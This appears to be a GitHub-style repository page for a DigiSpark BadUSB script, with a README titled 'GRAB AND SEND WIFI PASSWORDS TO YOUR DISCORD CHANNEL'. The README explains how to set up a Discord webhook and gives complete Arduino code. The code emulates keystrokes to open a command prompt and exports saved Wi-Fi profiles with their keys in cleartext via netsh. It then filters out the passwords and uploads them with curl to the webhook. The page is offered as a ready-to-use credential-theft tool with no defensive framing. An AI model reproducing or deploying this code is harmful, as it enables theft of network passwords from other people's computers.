DigiSpark-Scripts/WiFi_Profile_Discord
Ashfaque Khan 8b2005f612
Update README.md
2022-10-12 22:02:36 +05:30
..
README.md Update README.md 2022-10-12 22:02:36 +05:30
wifi_profile_discord_webhook.ino Create wifi_profile_discord_webhook.ino 2022-10-12 21:43:07 +05:30

README.md

GRAB AND SEND WIFI PASSWORDS TO YOUR DISCORD CHANNEL

STEP 1:

1.Create a Discord Server/Channel

2.image go to the edit channel option.

3.image go to integrations.

4.image create a new web hook.

5.image copy the web hook url.

STEP 2:

image change the "FILENAME" to anyname you want your folder to be.

Also Edit the line number 16 in the Arduino code and insert the following details (* most important Webhook url)

DigiKeyboard.println("curl -i -H "Expect:application/json" -F file=@wifi -F "payload_json={\"wait\":true,\"content\":\"ANYCOMMENT\",\"ANYNAME\":\"passwords\"}" WEBHOOK_URL"); //curl command which is used to send the passwords to your discord channel/server (**Change replace "WEBHOOK_URL" with your discord's webhook url of any channel.

Example:

                    #include "DigiKeyboard.h"
                    void setup() {
                    pinMode(1, OUTPUT); //LED on Model A
                    }
                    void loop() {
                    DigiKeyboard.update();
                    DigiKeyboard.sendKeyStroke(0);
                    DigiKeyboard.sendKeyStroke(KEY_R, MOD_GUI_LEFT); //run
                    DigiKeyboard.delay(300);
                    DigiKeyboard.println("cmd");
                    DigiKeyboard.delay(500);
                    DigiKeyboard.println("netsh wlan export profile key=clear");
                    DigiKeyboard.delay(500);
                    DigiKeyboard.println("powershell Select-String -Path Wi-Fi-* -Pattern 'keyMaterial' > wifi");
                    DigiKeyboard.delay(500);
                    DigiKeyboard.println("curl -i -H \"Expect:application/json\" -F file=@wifi -F \"payload_json=   {\\\"wait\\\":true,\\\"content\\\":\\\"Ashfaque\\\",\\\"ANYNAME\\\":\\\"passwords\\\"}\" https://discord.com/api/webhooks/996103446740619284/"); // this is a dummy webhook url.
                    DigiKeyboard.delay(500);
                    DigiKeyboard.println("exit");
                    digitalWrite(1, HIGH); //led on
                    DigiKeyboard.delay(90000);
                    }

Your are all set to upload the code.